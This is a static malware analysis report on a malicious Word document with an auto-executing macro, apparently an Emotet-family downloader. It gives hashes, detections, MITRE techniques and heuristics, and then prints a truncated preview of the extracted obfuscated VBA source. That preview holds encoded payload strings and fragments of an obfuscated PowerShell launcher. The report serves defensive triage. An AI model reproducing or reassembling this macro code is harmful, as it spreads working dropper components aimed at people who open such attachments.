Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f8a727d4db9f9f03…

MALICIOUS

Office (OLE)

235.0 KB Created: 2018-03-27 14:40:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: f5cbb9fd653559ed6b0226314d7b4e6c SHA-1: 63f9c343e7cda91c5cf1f4949ca35f892abd17f1 SHA-256: f8a727d4db9f9f033404cf825fe567d386579da4c34ce41c44dc235161ce0ef9
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that uses CreateObject to likely download and execute a second-stage payload. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' further confirms its malicious nature. The VBA code is heavily obfuscated, but the presence of AutoOpen and CreateObject strongly suggests a downloader or dropper functionality.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 43480 bytes
SHA-256: bce9897f832f00fd017291b0aff090d9d3463349935ac9a329e7652b44cf7d3b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 25 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "fiKSLDDp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zRnQiChXzkX"
Function WAzbtrwnkjtBJO()
On Error Resume Next
For Each tjPpd In bUTIV
      iSnjiF = 62230 - IAdpiK
      For Each HQXhJ In oDwSv
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      Next
   Next
jpAEouc = WRrdS("E2%aqmADQAZgBkAGQAYgAwAGMAOQBlAGIAOQA1AGUAMwA0AGUAYQBkAGEANwBiAGEAMwBlAGUAYQA5q8", 6, 73)
For Each ONNsD In LSKTE
      aMjtOq = 26152 - TINTrm
      For Each MhjsEs In uBaLt
         kTNwkN = wljSX
      Next
   Next
For Each XSTJs In TMAUjz
      cOjbQW = 74464 - jNsVRq
      For Each jBcfW In GVYCs
         EhNDI = LRmvD
      Next
   Next
uzCcfpl = WRrdS("jIJRFAGUAYgA5ADQAMgA2ADkAOQBlADcAOQAyAGYAOQA1ADYAOAAyADUAOQAwAGEAYgBmADMAOAAzAGMANgBhADUANgAwAGIAMQA0AGIANgAwAGQAMQBmADUAOQAzAGYAMQBmADMAYQA5ADAAZgA2AGUAYQAzADUANAA2ADgANQBkADYAYgA0AGQANAA5AGUAMgA3ADEARAqo", 6, 196)
For Each PGjnE In obHJfw
      BdnVtK = 47607 - KiCWJ
      For Each FFZWlw In QQWSQ
         NRDuBO = HmXwt
      Next
   Next
For Each YUbAHE In LljstN
      tbjNc = 2334 - OIJsYv
      For Each IPwPi In zEfsHU
         ULDnPj = XLWwQ
      Next
   Next
hlFVACqz = WRrdS("H03mADcAMAA2ADkANQA4AGYAMQBhADkANgA0AGEAYQBlAGUANQAwADMANgA5ADUANABmADYAYwBiADIANAA4AGUANwBjAGIAMgA3AGIAZgAxADAAMAAxADcAMgBkAGf8h", 4, 123)
For Each EKMSIj In UCWjd
      cJowq = 10789 - PaDFV
      For Each oqpzsA In DjnsNj
         LRSoT = DHviP
      Next
   Next
For Each pLSCEE In vECfd
      WVCoA = 57436 - jpPdw
      For Each UPqtJ In bSiaNV
         HIYnS = isBCT
      Next
   Next
jRriscoln = WRrdS("b.NMAAzADcANgAzADIAZgA1ADEANgA4AGUAZABiADcANQBlAGMAMAAwAGMAMgBiAGQANgAwADgAOQAzADAAYwBjADAAMwAzADUAOABjADUANwBjAGQAZQAzAGUAMABlAGQANQA3AGMAZQAzAGQAOQA0ADIAZgBlADMANQBjADQAYgBlADYAMABkADEANABmADAAcDi", 4, 192)
For Each ZLwJAv In FqjtFK
      pBDnup = 35350 - WNKBzW
      For Each VTNWQ In icJhiY
         NYOSd = RcpNH
      Next
   Next
For Each iXkLZp In RHoGwn
      zPiwIz = 11917 - HFsfB
      For Each HtwNjV In kGBiH
         TwlTO = HMKLo
      Next
   Next
pnwCVjC = WRrdS("Sp@EAAYwA3ADgAZQAxADkAZAA3AGUAZQBmADAAZgA4AGQAMwJlf", 5, 44)
For Each YbdPiS In oqKOst
      RUMId = 32079 - vmGWl
      For Each WtmwhI In LukVb
         oSLJjt = zrnzCi
      Next
   Next
For Each LdhTS In kJDfZ
      qRptN = 22728 - lWjpc
      For Each LBZCf In XnizPd
         wWYjkl = XIhjYJ
      Next
   Next
bwYZOTKB = WRrdS("aApUreSTrInG -K 25,13,230,59,145,218,62,251,194,208,12,55,231,211,115,237,126,14,147,94,171,140,209,12,80,6,194,249,24,42,99,59) ))4RK1", 4, 128)
For Each wOpcn In zHJKH
      mCWHT = 50305 - jNfMn
      For Each EjwCUt In VqaZtV
         ZjrMOc = wrAAN
      Next
   Next
For Each XFGnWj In AMaDcs
      rfEPi = 22079 - zAPaW
      For Each qSqBHz In PJBiHj
         CiRZB = mqzDu
      Next
   Next
bMnjli = WRrdS("XH & ( $SHeLLid[1]+$ShellId[13]+'x') (( [runTIME.iNteRopljzE", 3, 54)
For Each GGXFr In AzEiV
      viPAh = 57740 - HzHQV
      For Each qYHzAT In GurWrE
         RHjzU = rdWzm
      Next
   Next
For Each TuNSuK In mhLqkS
      TBjNwm = 65056 - BlzEUr
      For Each qknBZI In sMkqrz
         iDFLE = jLwVm
      Next
   Next
LnJMrkPoZli = WRrdS("CkiZQBzAEYAagBpAGwASgBRAE0AeQA4AEEAPQA9AHwANAA0ADUAOQBlADUANAA3ADcAOQA3AGMAMgAzAGUAOAA2AGUAZQnHlsN", 4, 90)
For Each ktbTp In mIqbDj
      afITcF = 90852 - SWittQ
      For Each ufmRP In YvRtv
         EqaDz = Sdnar
      Next
   Next
For Each iizOd In VUsLi
      XbpXhf = 43500 - RdmPj
      For Each odGXds In JFhAd
         wojcct = wzuYd
      Next
   Next
zbAVGH = WRrdS(".OfHjMAAzAGYAYgBlAGYAOQAzADYAYQBhADAAMAA3ADQANwAyADkAMgAwAGIAOQA5ADgANQA3ADYAZgA5ADcAYwAxADkANQAzADYAZAA1AGUAOAAzADgAMABmADAAZgAxADYANwAxADYAZAAyADMAMAAyAGYAZgAJi", 6, 155)
For Each oEoFr In ilRrOV
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... (truncated)